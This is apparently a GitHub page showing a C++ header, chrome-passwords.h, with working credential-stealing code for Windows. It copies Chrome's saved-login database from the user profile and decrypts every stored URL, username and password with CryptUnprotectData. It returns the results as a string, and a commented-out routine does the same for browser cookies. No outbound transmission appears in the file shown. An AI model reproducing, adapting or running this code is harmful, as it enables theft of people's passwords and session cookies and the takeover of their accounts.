-
Notifications
You must be signed in to change notification settings - Fork 0
/
chrome-passwords.h
executable file
·224 lines (177 loc) · 5.41 KB
/
chrome-passwords.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
#pragma once
#define _WIN32_WINNT _WIN32_WINNT_WIN7
#include <stdio.h>
#include <iostream>
#include <fstream>
#include <sstream>
#include <string>
#include <tchar.h>
#include <windows.h>
#include <Wincrypt.h>
#include "sqlite3.h"
#define MY_ENCODING_TYPE (PKCS_7_ASN_ENCODING | X509_ASN_ENCODING)
#pragma comment(lib, "crypt32")
using namespace std;
stringstream debug(string(""));
stringstream getPass(
sqlite3 *db
) {
stringstream dump(string("")); // String stream for our output
const char *zSql = "SELECT action_url, username_value, password_value FROM logins";
sqlite3_stmt *pStmt;
int rc;
/* Compile the SELECT statement into a virtual machine. */
rc = sqlite3_prepare(db, zSql, -1, &pStmt, 0);
if (rc != SQLITE_OK) {
cout << "statement failed rc = " << rc << endl;
return dump;
}
cout << "statement prepared " << endl;
/* So call sqlite3_step() once
** only. Normally, we would keep calling sqlite3_step until it
** returned something other than SQLITE_ROW.
*/
rc = sqlite3_step(pStmt);
cout << "RC: " << rc << endl;
while (rc == SQLITE_ROW) {
dump << sqlite3_column_text(pStmt, 0) << endl;
dump << (char *)sqlite3_column_text(pStmt, 1) << endl;
DATA_BLOB encryptedPass, decryptedPass;
encryptedPass.cbData = (DWORD)sqlite3_column_bytes(pStmt, 2);
encryptedPass.pbData = (byte *)malloc((int)encryptedPass.cbData);
memcpy(encryptedPass.pbData, sqlite3_column_blob(pStmt, 2), (int)encryptedPass.cbData);
CryptUnprotectData(
&encryptedPass, // In Data
NULL, // Optional ppszDataDescr: pointer to a string-readable description of the encrypted data
NULL, // Optional entropy
NULL, // Reserved
NULL, // Here, the optional
// prompt structure is not
// used.
0,
&decryptedPass);
char *c = (char *)decryptedPass.pbData;
while (isprint(*c)) {
dump << *c;
c++;
}
dump << endl;
rc = sqlite3_step(pStmt);
}
/* Finalize the statement (this releases resources allocated by
** sqlite3_prepare() ).
*/
rc = sqlite3_finalize(pStmt);
return dump;
}
stringstream getCookies(
sqlite3 *db
) {
stringstream dump(string("")); // String stream for our output
const char *zSql = "SELECT HOST_KEY,path,encrypted_value from cookies";
sqlite3_stmt *pStmt;
int rc;
/* Compile the SELECT statement into a virtual machine. */
rc = sqlite3_prepare(db, zSql, -1, &pStmt, 0);
if (rc != SQLITE_OK) {
cout << "statement failed rc = " << rc << endl;
return dump;
}
cout << "statement prepared " << endl;
/* So call sqlite3_step() once
** only. Normally, we would keep calling sqlite3_step until it
** returned something other than SQLITE_ROW.
*/
rc = sqlite3_step(pStmt);
cout << "RC: " << rc << endl;
while (rc == SQLITE_ROW) {
dump << sqlite3_column_text(pStmt, 0) << endl;
dump << (char *)sqlite3_column_text(pStmt, 1) << endl;
DATA_BLOB encryptedPass, decryptedPass;
encryptedPass.cbData = (DWORD)sqlite3_column_bytes(pStmt, 2);
encryptedPass.pbData = (byte *)malloc((int)encryptedPass.cbData);
memcpy(encryptedPass.pbData, sqlite3_column_blob(pStmt, 2), (int)encryptedPass.cbData);
CryptUnprotectData(
&encryptedPass, // In Data
NULL, // Optional ppszDataDescr: pointer to a string-readable description of the encrypted data
NULL, // Optional entropy
NULL, // Reserved
NULL, // Here, the optional
// prompt structure is not
// used.
0,
&decryptedPass);
char *c = (char *)decryptedPass.pbData;
while (isprint(*c)) {
dump << *c;
c++;
}
dump << endl;
rc = sqlite3_step(pStmt);
}
/* Finalize the statement (this releases resources allocated by
** sqlite3_prepare() ).
*/
rc = sqlite3_finalize(pStmt);
return dump;
}
sqlite3* getDBHandler(char* dbFilePath) {
sqlite3 *db;
int rc = sqlite3_open(dbFilePath, &db);
if (rc)
{
cerr << "Error opening SQLite3 database: " << sqlite3_errmsg(db) << endl << endl;
sqlite3_close(db);
return nullptr;
}
else
{
cout << dbFilePath << " DB Opened." << endl << endl;
return db;
}
}
//relative to chrome directory
bool copyDB(char *source, char *dest) {
//Form path for Chrome's Login Data
string path = getenv("LOCALAPPDATA");
path.append("\\Google\\Chrome\\User Data\\Default\\");
path.append(source);
//copy the sqlite3 db from chrome directory
//as we are not allowed to open it directly from there (chrome could also be running)
ifstream src(path, std::ios::binary);
ofstream dst(dest, std::ios::binary);
dst << src.rdbuf();
dst.close();
src.close();
return true; //ToDo: error handling
}
int deleleteDB(const char *fileName) {
if (remove(fileName) != 0)
cout << "Could not delete " << fileName << endl;
else
cout << fileName << " deleted... Bye bye" << endl;
}
std::string get_chrome_data()
{
int rc;
try {
copyDB("Login Data", "passwordsDB");
sqlite3 *passwordsDB = getDBHandler("passwordsDB");
stringstream passwords = getPass(passwordsDB);
if (sqlite3_close(passwordsDB) == SQLITE_OK)
return passwords.str();
else return string("No chrome data");
} catch (int e) {
return string("Failed password fetching");
}
//if (flagCookies) {
// copyDB("Cookies", "cookiesDB");
// sqlite3 *cookiesDb = getDBHandler("cookiesDB");
// stringstream cookies = getCookies(cookiesDb);
// cout << cookies.str();
// if (sqlite3_close(cookiesDb) == SQLITE_OK)
// cout << "DB connection closed properly" << endl;
// else
// cout << "Failed to close DB connection" << endl;
//}
}